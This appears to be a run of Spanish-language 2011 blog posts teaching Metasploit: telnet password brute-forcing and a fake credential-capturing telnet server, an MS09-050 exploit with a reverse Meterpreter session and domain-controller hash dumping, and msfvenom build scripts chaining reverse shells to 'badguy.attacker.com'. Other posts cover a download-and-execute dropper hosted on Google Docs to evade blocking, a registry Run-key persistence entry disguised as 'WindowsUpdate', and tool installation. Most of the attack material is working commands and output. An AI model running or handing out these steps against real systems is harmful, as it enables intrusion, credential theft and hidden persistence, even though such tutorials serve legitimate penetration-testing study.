msf  auxiliary(telnet_login) > 


Definamos las variables:
msf  auxiliary(telnet_login) > set PASS_FILE /pentest/exploits/framework/data/wordlists/unix_passwords.txt 
PASS_FILE => /pentest/exploits/framework/data/wordlists/unix_passwords.txt
msf  auxiliary(telnet_login) > set RHOSTS 192.168.58.134
RHOSTS => 192.168.58.134
msf  auxiliary(telnet_login) > set USER_FILE /pentest/exploits/framework/data/wordlists/unix_users.txt 
USER_FILE => /pentest/exploits/framework/data/wordlists/unix_users.txt
msf  auxiliary(telnet_login) > 


Verificamos de nuevo las variables antes de ejecutar el módulo:
msf  auxiliary(telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):

   Name              Current Setting                                                Required  Description
   ----              ---------------                                                --------  -----------
   BLANK_PASSWORDS   true                                                           no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                              yes       How fast to bruteforce, from 0 to 5
   PASSWORD                                                                         no        A specific password to authenticate with
   PASS_FILE         /pentest/exploits/framework/data/wordlists/unix_passwords.txt  no        File containing passwords, one per line
   RHOSTS            192.168.58.134                                                 yes       The target address range or CIDR identifier
   RPORT             23                                                             yes       The target port
   STOP_ON_SUCCESS   false                                                          yes       Stop guessing when a credential works for a host
   THREADS           1                                                              yes       The number of concurrent threads
   USERNAME                                                                         no        A specific username to authenticate as
   USERPASS_FILE                                                                    no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      true                                                           no        Try the username as the password for all users
   USER_FILE         /pentest/exploits/framework/data/wordlists/unix_users.txt      no        File containing usernames, one per line
   VERBOSE           true                                                           yes       Whether to print output for all attempts

msf  auxiliary(telnet_login) > 


Ejecutamos el módulo. Los inténtos válidos se mostrarán en verde y los inválidos en color rojo.
msf  auxiliary(telnet_login) > run

[*] 192.168.58.134:23 Telnet - [000001/109216] - Attempting: '':''
[*] 192.168.58.134:23 TELNET - [000001/109216] - Banner: Ubuntu 8.04 metasploitable login:
[*] 192.168.58.134:23 TELNET - [000001/109216] - Prompt: Password:
[*] 192.168.58.134:23 TELNET - [000001/109216] - Result:   Login incorrect metasploitable login:
[*] 192.168.58.134:23 Telnet - [000002/109216] - Attempting: '4Dgifts':''
[*] 192.168.58.134:23 TELNET - [000002/109216] - Banner: Ubuntu 8.04 metasploitable login:
[*] 192.168.58.134:23 TELNET - [000002/109216] - Prompt: Password:
[*] 192.168.58.134:23 TELNET - [000002/109216] - Result:   Login incorrect metasploitable login:
[*] 192.168.58.134:23 Telnet - [000003/109216] - Attempting: 'EZsetup':''
[*] 192.168.58.134:23 TELNET - [000003/109216] - Banner: Ubuntu 8.04 metasploitable login:
[*] 192.168.58.134:23 TELNET - [000045/109216] - Prompt: Password:
[*] 192.168.58.134:23 TELNET - [000045/109216] - Result:   Login incorrect 
...
[*] 192.168.58.134:23 Telnet - [000045/109216] - Attempting: 'msfadmin':'msfadmin'
[*] 192.168.58.134:23 TELNET - [000045/109216] - Banner: Ubuntu 8.04 metasploitable login:
[*] 192.168.58.134:23 TELNET - [000045/109216] - Prompt: Password:
[*] 192.168.58.134:23 TELNET - [000045/109216] - Result:  Last login: Sun Aug 21 04:34:38 EDT 2011 on pts/0 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686  The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.  Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.  To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail.
[+] 192.168.58.134 - SUCCESSFUL LOGIN msfadmin : msfadmin
[*] Command shell session 1 opened (192.168.58.10:60805 -> 192.168.58.134:23) at 2011-08-21 04:43:46 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(telnet_login) > 



Emulador de servidor Telnet falso (telnet)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf > use auxiliary/server/capture/telnet 
msf  auxiliary(telnet) > 

Este módulo emula un servidor falso de Telnet con el fin de capturar credenciales de autenticación.
msf  auxiliary(telnet) > run
[*] Auxiliary module execution completed

[*] Server started.
msf  auxiliary(telnet) > 


Cuando la víctima trata de iniciar una conexión Telnet a nuestro servidor falso, las credenciales serán capturadas:

msf  auxiliary(telnet) > 
[*] TELNET LOGIN 192.168.58.134:44277 darkoperator / P@ssw0rd
msf  auxiliary(telnet) > 


Fuente

lunes, 8 de agosto de 2011

Utilizando Nessus con Metasploit

En este post cubriremos como iniciar análisis de Nessus desde Metasploit. Iniciando con Nessus 4, Tenable introdujo la API Nessus, la cual permite que los usuarios puedan interactuar con un servidor Nessus utilizando XMLRPC. Zate Berg tomó la iniciativa escribiéndo módulos en Metasploit que, junto con otras cosas, pueden lanzar un análisis de Nessus e importar los resultados en la base de datos de Metasploit. Desde alli, podemos encontrar que máquinas son vulnerables a explotación, explotarlas, recolectar los hashes de contraseñas y entonces utilizar esos hashes para iniciar análisis de Nessus con credenciales.


Configurando Nessus
El primer paso requerido para utilizar Nessus con Metasploit es autenticarse en Nessus y crear un usuario para Metasploit. En este ejemplo, hemos creado un usuario llamado "msf" con la contraseña "metasploit".



Estando logueados como "msf", creamos una política llamada "Windows Server Scan". La política tiene todos los plugins habilitados y la mayoría de los parámetros predeterminados los dejamos como vienen ya que queremos iniciar análisis de vulnerabilidades a nivel de la red.


Configurando la Base de Datos de Metasploit
Lo primero que debemos hacer en Metasploit es configurar la base de datos. Hay algunos pasos a seguir antes de hacer esto y los siguientes artículos pueden sernos de ayuda:

BT5 + Metasploit + PostgreSQL
BT5 + Metasploit + MySQL standalone server


Una vez la base de datos esté configurada, necesitaremos habilitar su driver y conectarnos a esta. En el siguiente ejemplo, usaremos PostgreSQL:

msf > db_driver postgresql
msf > db_connect postgres:metasploit@127.0.0.1/metasploit
msf > nessus_connect msf:metasploit@127.0.0.1:8834 ok
[*] Connecting to https://127.0.0.1:8834/ as msf
[*] Authenticated


Iniciando un Análisis de Nessus
El siguiente paso es cargar el módulo de Nessus y listar las políticas disponibles en el servidor Nessus utilizando el comando "nessus_policy_list":

msf > load nessus
[*] Nessus Bridge for Nessus 4.2.x
[+] Type nessus_help for a command listing
[*] Successfully loaded plugin: nessus

msf exploit(ms09_050_smb2_negotiate_func_index) > nessus_policy_list 
[+] Nessus Policy List
ID  Name                        Comments
--  ----                        --------
-4  Internal Network Scan 
-3  Web App Tests 
-2  Prepare for PCI DSS audits 
-1  External Network Scan 
1   Windows Server Scan


Las políticas incluidas en Nessus se muestran con números negativos, y las políticas creadas por el usuario se muestran con un número positivo, empezando en 1. "Windows Server Scan" es la política que hemos creado y utilizaremos para este ejemplo. Con esta política podemos inciar un nuevo análisis utilizando el comando "nessus_scan_new":

msf > nessus_scan_new 1 win2008-msf 192.168.1.180
[*] Creating scan from policy number 1, called "win2008-msf" and scanning 192.168.1.180
[*] Scan started.  uid is c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2


Esto lanza un análisis en el servidor Nessus y analiza la máquina 192.168.1.180 utilizando nuestra política. Podemos verificar el estado del análisis utilizando el comando "nessus_scan_status":

msf > nessus_scan_status 
[+] Running Scans
Scan ID                                               Name         Owner  Started            Status   Current Hosts  Total Hosts
-------                                               ----         -----  -------            ------   -------------  -----------
c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2  win2008-msf  msf    03:48 Jun 01 2011  running  0              1
*Snip*


Una vez el análisis ha terminado, podemos revisar los reportes generados utilizando el comando "nessus_report_list":

msf > nessus_report_list 
[+] Nessus Report List
ID                                                    Name         Status     Date
--                                                    ----         ------     ----
c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2  win2008-msf  completed  03:51 Jun 01 2011
*Snip*


Ya que hemos identificado el reporte que queremos utilizar, podemos ejecutar el comando "nessus_report_get" para importar los resultados y almacenarlos en la base de datos de Metasploit:

msf > nessus_report_get c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2
[*] importing c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2
[*] 192.168.1.180 Microsoft Windows Server 2008 Service Pack 1  Done!
[+] Done


Una vez que los resultados hayan sido importados, podemos revisar las vulnerabilidades disponibles utilizando el comando "db_vulns":

msf exploit(ms09_050_smb2_negotiate_func_index) > db_vulns 
[*] Time: Wed Jun 01 08:01:06 UTC 2011 Vuln: host=192.168.1.180 port=5355 proto=udp name=Link-Local Multicast Name Resolution (LLMNR) Detection refs=NSS-53513
[*] Time: Wed Jun 01 08:01:06 UTC 2011 Vuln: host=192.168.1.180 port=593 proto=tcp name=Service Detection refs=NSS-22964
[*] Time: Wed Jun 01 08:01:06 UTC 2011 Vuln: host=192.168.1.180 port=445 proto=tcp name=MS09-050: Microsoft Windows SMB2 _Smb2ValidateProviderCallback() Vulnerability (975497) (uncredentialed check) refs=CVE-2009-3103,BID-36299,CWE-399,OSVDB-57799,MSFT-MS09-050,MSF-Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference,NSS-40887


En los resultados para esta máquina en particular, Nessus reportó que no tenía el parche del Boletín de Seguridad de Microsoft MS09-050. Para ver si Metaspoit contiene un exploit para dicha vulnerabilidad, ejecutamos el comando "search exploits 09-050":

msf > search exploits 09-050
Matching Modules
================
  Name                                                       Disclosure Date  Rank    Description
   ----                                                       ---------------  ----    -----------
   exploit/windows/smb/ms09_050_smb2_negotiate_func_index     2009-09-07       good    Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference


Como podemos ver, Metasploit tiene sin duda tal exploit. El siguiente paso es utilizarlo, junto con un payload, para comprometer el sistema:

msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
msf exploit(ms09_050_smb2_negotiate_func_index) > 
msf exploit(ms09_050_smb2_negotiate_func_index) > set RHOST 192.168.1.180
RHOST => 192.168.1.180
msf exploit(ms09_050_smb2_negotiate_func_index) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(ms09_050_smb2_negotiate_func_index) > exploit
[*] Started HTTPS reverse handler on https://192.168.1.242:8443/
[*] Connecting to the target (192.168.1.180:445)...
[*] Sending the exploit packet (951 bytes)...
[*] Waiting up to 180 seconds for exploit to trigger...
[*] 192.168.1.180:54287 Request received for /AFIgx...
[*] 192.168.1.180:54287 Staging connection for target FIgx received...
[*] Patching Target ID FIgx into DLL
[*] 192.168.1.180:54288 Request received for /BFIgx...
[*] 192.168.1.180:54288 Stage connection for target FIgx received...
[*] Meterpreter session 1 opened (192.168.1.242:8443 -> 192.168.1.180:54288) at Wed Jun 01 04:15:35 -0400 2011
meterpreter > 


Los comandos anteriores establecen el objetivo a atacar (RHOST) y la maquina a llamar de vuelta una vez el sistema objetivo haya sido comprometido (LHOST). Hemos seleccionado un payload Meterpreter de conexión reversa HTTPS, el cual se conectará de vuelta a nuestra instancia de Metasploit en el puerto 8443. La siguiente tarea es extraer los hashes de contraseñas del sistema remoto. Para esto seleccionaremos un nuevo módulo llamado "smart_hashdump". Seleccionamos este módulo porque el sistema remoto es un controlados de dominio de Directorio Activo y tiene unas cuantas miles de cuentas de usuario. smart_hashdump nos permite extraer los hashes de las contraseñas y guardarlos en un archivo:

meterpreter > run post/smart_hasdump SESSION=1,GETSYSTEM=true
[*] Running module against WIN-8BPIQBRO0CX
[*] Hashes will be saved to the Database if one is connected.
[*] Hashes will be saved in loot in John Password File format to:
[*] /root/.msf3/loot/20110601044405_default_192.168.1.180_windows.hashes_561621.txt
[+] 	This host is a Domain Controller!
[*] Dumping password hashes...

Hechémosle un vistazo a la primera línea en el archivo "/root/.msf3/loot/20110601044405_default_192.168.1.180_windows.hashes_561621.txt" y veremos algo como esto:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:33834686d2a3f2dcb675a31b773c3a8bkrbtgt:


Esta es la contraseña de la cuenta del Administrador local. Copiamos el segundo campo (resaltado en negrilla) el cual corresponde a la contraseña NTLM en hash del usuario Administrador local. Luego, configuramos una nueva política de Nessus, y utilizaremos el hash NTLM obtenido como contraseña en el campo "SMB password":



Debemos asegurarnos definir el campo "SMB password type" como "NTLM Hash" y el campo "SMB account" como "Administrator".

Para comparar, el número de vulnerabilidades halladas mediante el análisis del sistema con credenciales y sin ellas, se muestra a continuación:

Con credenciales:




Sin credenciales:



Conclusión
Es muy agradable ver la API de Nessus ser aprovechada para ayudar a los usuarios a ser más productivos. El puente de Nessus para Metasploit es un grán proyecto de la comunidad de usuarios, que ha permitido que Nessus se integre con otras herramientas populares de seguridad. Incluso es posible automatizar el proceso anterior utilizando un script que ejecuta Nessus, inicia un análisis, y explota las vulnerabilidades de forma remota. Sin embargo, vemos que un análisis con credenciales da como resultado un informe mucho más completo de las vulnerabilidades presentes en el sistema. En última instancia, se convierte en una elección lo que queramos obtener de las evaluaciones de la seguridad y la mayoría de personas desarrollarán el proceso de manera propia.


Referencias



Fuente: Tenable

sábado, 30 de julio de 2011

Payloads de Metasploit Explicados - Parte 1b

Este artículo se encuentra basado en el post Metasploit Payloads Explained - Part 1B publicado por Rob Fuller a.k.a @mubix

Esta serie fue interrumpida hace unos días debido a la aparición de los nuevos payloads HTTP/HTTPS de Metasploit. No me quejo, ya que las nuevas funcionalidades (como veremos en la parte 2 de esta serie), son adiciónes épicas a la lista de payloads. Sin embargo, un cambio importante sucedió mientras se desataba esta locura con la aparición de los nuevos payloads. ScriptJunkie coló un impresionante cambio en msfvenom (mas conocido como msffsm).

Aquí está el enlace al ticket del cambio y a la revisión (r13057)

TL;DR version: Este cambio nos permite poner múltiples payloads en un mismo binario.

ScriptJunkie da el siguiente ejemplo:

root@bt:~#ruby msfvenom -p windows/messagebox -f raw EXITFUNC=thread > /tmp/msgbox.raw

root@bt:~#ruby msfvenom -p windows/meterpreter/reverse_tcp -f raw -t /tmp/msgbox.raw -k LHOST=192.168.0.102 EXITFUNC=thread > /tmp/rev102msgbox.raw

root@bt:~#ruby msfvenom -p - -f exe < /tmp/rev102msgbox.raw > /tmp/rev102msgbox.exe

En este ejemplo, cuando el binario rev102msgbox.exe se ejecuta, muestra un mensaje emergente con las opciones predeterminadas (Hello, from MSF!) y dispara una conexión reversa tcp a la IP 192.168.0.102 en el puerto predeterminado 4444.

Este es un grán ejemplo y una buena forma de verificar que el payload funciona, pero no le vamos a informar a la víctima que estamos ahi simplemente diciendo "Hola" (especialmente si no estamos ahi para verle la cara :-P ).

Pienso entonces que esta sería una buena forma de lanzar un grupo de payloads para verificar algunas de las formas ya probadas de obtener acceso más allá de las redes restringidas, todo en un único binario.

Empezamos entonces con 3 payloads:

  • reverse_tcp_dns to port 7815
  • reverse_tcp_dns to port 80
  • reverse_https to port 443

Escogí estos porque puedo cambiar el DNS para que apunte a una nueva dirección IP en el futuro sin tener que volver a generar mi binario y el tamaño no es una preocupación ya que no lo utilizaremos en ningún exploit.

NOTA: El motivo por el cual utilizaré el puerto 7815 es debido a que algunas veces existen configuraciones de proxy para el puerto 80 y 443 los cuales ya estan soportados por los nuevos payloads HTTP/HTTPS (excepto proxys de autenticación) pero por alguna razón, en algunas redes corporativas aun se permite el tráfico a puertos no comunes sin restricción alguna.

A continuación lo que hice:

root@bt:~#./msfvenom -p windows/meterpreter/reverse_https -f raw LHOST=badguy.attacker.com LPORT=443 > /tmp/stage1.raw

root@bt:~#./msfvenom -p windows/meterpreter/reverse_tcp_dns -f raw LHOST=badguy.attacker.com LPORT=80 -c /tmp/stage1.raw > /tmp/stage2.raw

root@bt:~#./msfvenom -p windows/meterpreter/reverse_tcp_dns -f exe LHOST=badguy2.attacker.com LPORT=7815 -c /tmp/stage2.raw > /tmp/stage3.exe

Afortunadamente (y veremos el por qué en un segundo), olvidé configurar un multi/handler en el puerto 7815, lo cual hizo darme cuenta de un problema. Cuando uno de los payloads fallaba en conectarse, el proceso 'ExitProcess' era llamado, causando que los demas payloads fueran terminados prematuramente (aunque estos ya estuvieran en segunda instancia).

Probé configurando AutoRunScript para usar 'migrate -f' de tal forma que los payloads migrarían en un nuevo proceso de Notepad. Pero la conexión se cayó muy rápidamente y los payloads no alcanzaron a hacer lo suyo.

Llega ReverseConnectRetries al rescate. Esta es una configuración avanzada para la familia reverse_tcp (ipv6_tcp, nonx_tcp, ord_tcp, tcp, tcp_allports, tcp_dns) la cual le dice al payload cuantas veces debe hacer loop a través de la conexión inicial. El valor por defecto es 5 pero puede ser entre 1 y 255. El valor de 255 es especial ya que establece un loop infinito.

Bien, se supone que si fallamos de nuevo ya no se llamará el comando ExitProcess, cierto? Pues esto no es del todo cierto, reverse_https y reverse_http no tienen este parámetro. Aun nos encontramos en una condición de carrera si queremos usar esos payloads, pero al menos es una carrera que podemos ganar.

He escrito un script de batch muy simple para generar mi nuevo binario cuando lo necesite (tampoco tendré que recordar todos los comandos):

#!/bin/bash

echo Building Stage 1

./msfvenom -p windows/meterpreter/reverse_https -f raw LHOST=badguy.attacker.com LPORT=443 > /tmp/stage1.raw


echo Building Stage 2

./msfvenom -p windows/meterpreter/reverse_tcp_dns -f raw LHOST=badguy.attacker.com ReverseConnectRetries=255 LPORT=80 -c /tmp/stage1.raw > /tmp/stage2.raw


echo Building Stage 3

./msfvenom -p windows/meterpreter/reverse_tcp_dns -f exe LHOST=badguy2.attacker.com ReverseConnectRetries=255 LPORT=7815 -c /tmp/stage2.raw > /tmp/stage3.exe


echo Cleaning up...

rm -rf /tmp/stage1.raw /tmp/stage2.raw

echo Done..

Adicionalmente nos dice lo que está pasando y hace un poco de limpieza, dejandonos solamente el binario-hydra. Una de las cosas que pensé agregar fue el payload cmd/windows/adduser de tal forma que si el usuario víctima es admin podemos tomarnos el día libre sin tener que agregarnos un usuario pero decidí no hacerlo por cuestiones de limpieza y por no generar ruido.

(Tambien notaremos que uno de los payloads hace otras cositas... No hay razón para no permitirle a nuestros payloads usar toda su potencia no?). Compartir es bueno.

domingo, 26 de junio de 2011

Payloads de Metasploit Explicados - Parte 1A

Este artículo se encuentra basado en el post Metasploit Payloads Explained - Part 1A publicado por Rob Fuller a.k.a @mubix

En la parte 1 de esta serie vimos un ejemplo utilizado por @mubix en CCDC con el payload single "windows/download_exec". Una de las desventajas de este payload es que necesitamos hospedar el binario en un servidor web, dándole una IP o nombre de host que puede ser bloqueado. Bien, Google recientemente (hace un par de meses), permite cargar cualquier clase de archivo a Google Docs. Y además podemos compartir estos archivos públicamente. Probablemente ya pueden ver a donde vamos con esto, pero se requiere seguir algunos pasos. Primero cargamos el binario malicioso (no el dropper 'windows/download_exec', pero sí el archivo que este requiere para ejecutar). Creo que es muy fácil y no se necesita una foto para encontrar el botón Cargar ;-)



Luego, vamos a Action -> Share -> Share and make it public:







Obtendremos un enlace que diga docs.google.com / leaf?id= algunacosa:





Vamos a ese enlace y copiamos el enlace que diga "Download"

Debemos obtener algo como esto:


https://docs.google.com/uc?id=XXXXXXXX&export=download&hl=en_US

Borramos todo después del & y cambiamos https a http (download_exec no habla SSL) entonces tendremos algo asi:

http://docs.google.com/uc?id=XXXXXXXX

Ahora usamos ese enlace en la opción "URL" cuando generemos nuestro binario "windows/download_exec" y ya debemos estar listos para seguir. Aun podemos cambier nuestros binarios en cualquier momento haciendo click-derecho en el archivo en la lista de Google Docs y seleccionar "Agregar o administrar revisiones". Además, tenemos la ventaja de ser virtualmente no-bloqueables.

Algo en lo que debemos ser cuidadosos es en la descarga de enlaces "leaf" que se encuentran aun vigentes si se ponen los archivos en el directorio "trash" en Google Docs. Para esto necesitamos vaciar el directorio trash para que estos queden totalmente offline.

Para aquellos que atienden incidentes de seguridad, si encuentran algo haciendo estas solicitudes, cambien la porción UC de la descarga de regreso a "leaf" y podrán saber cuando fue cargado el archivo malicioso, podrán tener habilitada la opción "Reportar Contenido Abusivo" lo cual hará que la cuenta sea revisada por Google si continúa haciendo "cosas malas".

Payloads de Metasploit Explicados - Parte 1

Este artículo se encuentra basado en el post Metasploit Payloads Explained - Part 1 publicado por Rob Fuller a.k.a @mubix

La selección de payloads es algo sobre lo cual raramente se habla en detalle. La mayoría de la pruebas de concepto (PoC) solo utilizan calc.exe, netcat, o alguna clase de socket. La vasta mayoría de tutoriales de Metasploit, videos y documentación utilizan el payload windows/meterpreter/reverse_tcp el cual es uno de los 224 payloads posibles. Una pequeña advertencia: Ya que los payloads en Metasploit no se actualizan con la misma frecuencia como otros componentes de Metasploit, este es un punto en la documentación de estos (Junio 23, 2011) y los payloads disponibles en Metasploit están cambiando constantemente. Los reto a continuar haciendo un 'show payloads' y ver que hay de nuevo.

Si ejecutamos 'show payloads' en la base de la consola de Metasploit (msf>), veremos todos los payloads disponibles en Metasploit. Sin embargo, los desarrolladores de módulos de exploits pueden ayudar un poco al usuario con su selección ubicando limitadores especiales dentro de su módulo. Estos limitadores pueden ser tan específicos como el apuntar a un payload específico, o tan general como el especificar que solo trabajará con un payload de 'windows'. Como ejemplo decente de esta acción revisemos el módulo de exploit JBoss "bshdeployer" (modules/exploits/multi/http/jboss_bshdeployer.rb).

Los payloads que tiene Metasploit se desglosan en 'staged', 'stagers', y 'singles (también conocidos como Inline)'. La diferencia entre 'staged' y 'stagers' es muy simple, los payloads 'staged' utilizan pequeños 'stagers' para poder ajustarse en pequeños espacios de explotación. Durante la explotación, el desarrollador del exploit por lo regular tiene una muy limitada cantidad de memoria que pueda manipular a través de las entradas de los programas que están explotando. Los stagers van en este espacio y su único trabajo derribar el resto del payload 'staged'. La desventaja de este tipo de payloads es que requieren una conexión a algo que les palanqueará el resto del payload. Los payloads Inline o 'singles' no tienen este problema. Estos se encuentran auto-contenidos y hacen lo que estan diseñados a hacer sin asistencia alguna.

Todos los exploits en Metasploit utilizan el único y conocido Multi Handler. Lo podemos llamar así por la forma en como lo invocamos:

msf> use multi/handler

Es un título apropiado, ya que se encuentra equipado para manejar cada uno de los exploits dentro de Metasploit sin importar la arquitectura o el tipo de conexión que se esté haciendo. Sabe cómo tratar con cada tipo de payload porque le decimos que esperar, pero eso no quita el hecho de que en esta sencilla utilidad se encuentra el escalón fundamental para todas la explotaciones con Metasploit.

La estructura de la mayoría de los payloads dice exactamente lo que hacen, pero no siempre. Si dice en la descripción que en un payload "Inline" eso significa es que es un payload single (independiente), si dice que es un "Stager" significa que es un payload montable. Vamos a ver algunos de los menos conocidos:

cmd/windows/adduser - Este es un payload individual que ejecuta "net user /add" con el nombre de usuario y contraseña que hemos especificado. Este payload no indica que es "Inline" pero todos los payloads de los grupos "cmd/*" o "*/exec" son individuales.

osx/armle/vibrate - Un payload individual que cuando se ejecuta en un iPhone, lo hace vibrar.

generic/debug_trap - Dispara un depurador si se adjunta al proceso (envia un byte simple \xCC 'break')

Una cosa que no es inmediatamente obvia es otro marcador de los payloads montables (staged) vs. los individuales (singles):

osx/ppc/shell/reverse_tcp
osx/ppc/shell_reverse_tcp

La diferencia entre estos dos payloads no es mas obvia que el hecho que una tiene un underscore '_' en lugar de un forward slash '/'. El payload con el underscore significa que es un payload individual mientras que el otro significa que es un payload montable. Pero la arquitectura de la convención de nombramiento de estos payloads es un poco complicada. La mayoria se ajustan a OS/ARCHITECTURE/TYPE/PAYLOAD donde un slash en lugar de un underscore entre TYPE y PAYLOAD significará la diferencia que acabamos de tratar. Pero no todos los payloads se ajustan a este formato. Podemos incluso enloquecernos e ir a revisar el directorio: msfdirectory/modules/payloads/ - todo en el directorio singles, es efectivamente un payload individual.

Los payloads individuales son los mejores para disparar y olvidarnos de ellos, son utilizados como payloads para memorias USB (de tal forma que la máquina no tiene que tener una conexión para hacer lo que se necesita) hasta llegar a un método de persistencia muy astuto. Uno que he utilizado con frecuencia en CCDC era el del payload: 'windows/download_exec'. La única opción que tiene este payload individual es "URL". Aqui se define algo como http://www.redteam.com/evil.exe y se genera el binario:



(Si, es posible utilizar msfpayload o msfvenom en la línea de comando para generar payloads, pero me gusta permanecer dentro de msfconsole).

Entonces definimos eso a auto iniciar cuando alguien inicie sesión como :

meterpreter > reg setval -k "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" -v "WindowsUpdate" -d "C:\\Windows\\dropper.exe"

Ahora todo lo que tenemos que hacer es esperar por logins. Si sucede que encuentran nuestro binario evil.exe (el cual download_exec lo hace "a.exe"y lo pone en System32), y bloquean nuestra IP, todo lo que hacer es reemplazar evil.exe en nuestro servidor web y esperar a que este descargue uno nuevo. Una forma cruda de persistencia, pero funciona bien.

Yo voy a terminar esto con una lista de todos los payloads... En el próximo artículo veremos Meterpreter, el mejor payload en mi humilde y totalmente imparcial opinión -;), con un poco de pivotaje lanzado en buena medida.

 

viernes, 27 de mayo de 2011

Metasploit 3.7.1., Armitage y PostgreSQL

Desde hace varios días, o semanas tal vez, no aportaba algo útil a este blog. Bien, mientras esperaba mi último vuelo hacia la Ciudad de los Reyes (Google it), decidí completar la instalación de mi netbook con Ubuntu 11.04 agregando algunas utilidades que uso con frecuencia, entre estas: Metasploit Framework y Armitage.

Metasploit 3.7.1 ya se encuentra disponible para la descarga. Desde la versión 3.7.0, incluye una gran cantidad de mejoras significativas. Una de las más importantes es la administración de sesiones, ahora Metasploit es capaz de manejar cientos de sesiones, lo cual es útil a la hora de ejecutar compromisos de ingeniería social a gran escala. Junto con esta actualización, otras largamente esperadas funcionalidades han sido agregadas, ataques de robo de contraseñas y pass-the-hash en Windows Server 2008 y soporte para la autenticación NTLM en el driver Microsoft SQL son las más importantes. Como bono adicional, esta versión incluye 35 nuevos exploits para ataques remotos.

Veremos aqui entonces como instalar Metasploit y Armitage desde cero con soporte para PostgreSQL en Ubuntu 11.04.

Instalación de Metasploit
$ wget http://updates.metasploit.com/data/releases/framework-3.7.1-linux-mini.run
$ chmod +x framework-3.7.0-linux-mini.run
$ sudo ./framework-3.7.0-linux-mini.run




Actualización de Metasploit
$ sudo msfupdate


Instalación de PostgreSQL y otras dependencias
$ sudo apt-get install postgresql pgadmin3 libpq-dev sun-java6-plugin ruby rubygems libreadline-dev libssl-dev libpq5 ruby-dev nmap
$ sudo gem install pg


Creación del usuario y de la base de datos de Metasploit (PostgreSQL)
$ sudo su postgres
$ createuser metasploit -P
Enter password for new role:
Enter it again:
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
$createdb --owner=metasploit metasploit


Iniciar msfconsole y ejecutarlos siguientes comandos:
$ sudo /etc/init.d/./postgresql start
$ sudo msfconsole
msf> db_driver postgresql
msf> db_connect metasploit:P4ssw0rd@127.0.0.1:5432/metasploit


En otra consola, el servicio msfrpcd debe ser iniciado:
$ sudo msfrpcd -f -U metasploit -P P4ssw0rd -t Basic
[sudo] password for darkoperator: 
[*] XMLRPC starting on 0.0.0.0:55553 (SSL):Basic...
[*] XMLRPC ready at 2011-05-27 01:04:11 -0500.


Ahora es tiempo de iniciar Armitage:
$ sudo /opt/framework-3.7.1/msf3/./armitage



Verificamos las credenciales correctas de conexión y presionamos en "Connect".

User: metasploit
Pass: P4ssw0rd
DB Driver: postgresql
DB Connect String: metasploit:P4ssw0rd@127.0.0.1/metasploit


En pocos segundos aparecera la ventana de Armitage



Estando ya en Armitage, vamos a Hosts -> Nmap scan -> Intense Scan.

Ingresamos una subnet de nuestro interés y... happy hacking!

sábado, 26 de marzo de 2011

Auditoría de Sitios Web con el Plugin WMAP y el Módulo HTTP Crawler de Metasploit

WMAP se encuentra implementado como un plugin de Metasploit y su funcionamiento depende de tener activa una base de datos. La base de datos es utilizada para almacenar una lista de URLs objetivo al igual que para almacenar los resultados de los módulos WMAP. Para iniciar con WMAP, es necesario configurar la base de datos y se debe agregar al menos una URL objetivo. En la mayoría de los casos, se importa la información obtenida del sitio web objetivo en WMAP a través de un spider, proxy, o de un export hecho con otra herramienta. En el siguiente ejemplo utilizaremos el módulo HTTP Crawler de Metasploit Framework para agregar un objetivo y demostrar el proceso.

Debemos instalar los siguientes paquetes:
sudo apt-get install libxml-ruby libxml2-dev
sudo apt-get install libxslt-ruby libxslt-dev
sudo apt-get install libnokogiri-ruby

o también:
sudo gem install robots
sudo gem install nokogiri 
sudo gem install anemone


Iniciar Metasploit Framework

Ejecutaremos la consola de Metasploit Framework (msfconsole):
$ ./msconsole

#    # ###### #####   ##    ####  #####  #       ####  # #####
##  ## #        #    #  #  #      #    # #      #    # #   #
# ## # #####    #   #    #  ####  #    # #      #    # #   #
#    # #        #   ######      # #####  #      #    # #   #
#    # #        #   #    # #    # #      #      #    # #   #
#    # ######   #   #    #  ####  #      ######  ####  #   #


=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 669 exploits - 345 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12131 updated today (2011.03.25)

msf > 

Seleccionamos el driver de la base de datos (para este tutorial vamos a utilizar el driver sqlite3 pero también es posible utilizar el driver postgresql).
msf > db_driver sqlite3
[*] Using database driver sqlite3


Creamos la base de datos
msf> db_connect wmap_test
[-] Note that sqlite is not supported due to numerous issues.
[-] It may work, but don't count on it
[*] Creating a new database file...
[*] Successfully connected to the database
[*] File: wmap_test


Rastrear el objetivo

Cargamos el analizador HTTP
msf > use scanner/http/crawler
msf auxiliary(crawler) > show options

Module options (auxiliary/scanner/http/crawler):

Name         Current Setting  Required  Description
----         ---------------  --------  -----------
MAX_MINUTES  5                yes       The maximum number of minutes to spend on each URL
MAX_PAGES    500              yes       The maximum number of pages to crawl per URL
MAX_THREADS  4                yes       The maximum number of concurrent requests
Proxies                       no        Use a proxy chain
RHOST                         yes       The target address
RPORT        80               yes       The target port
URI          /                yes       The starting page to crawl
VHOST                         no        HTTP server virtual host

msf auxiliary(crawler) > 


Definir el objetivo
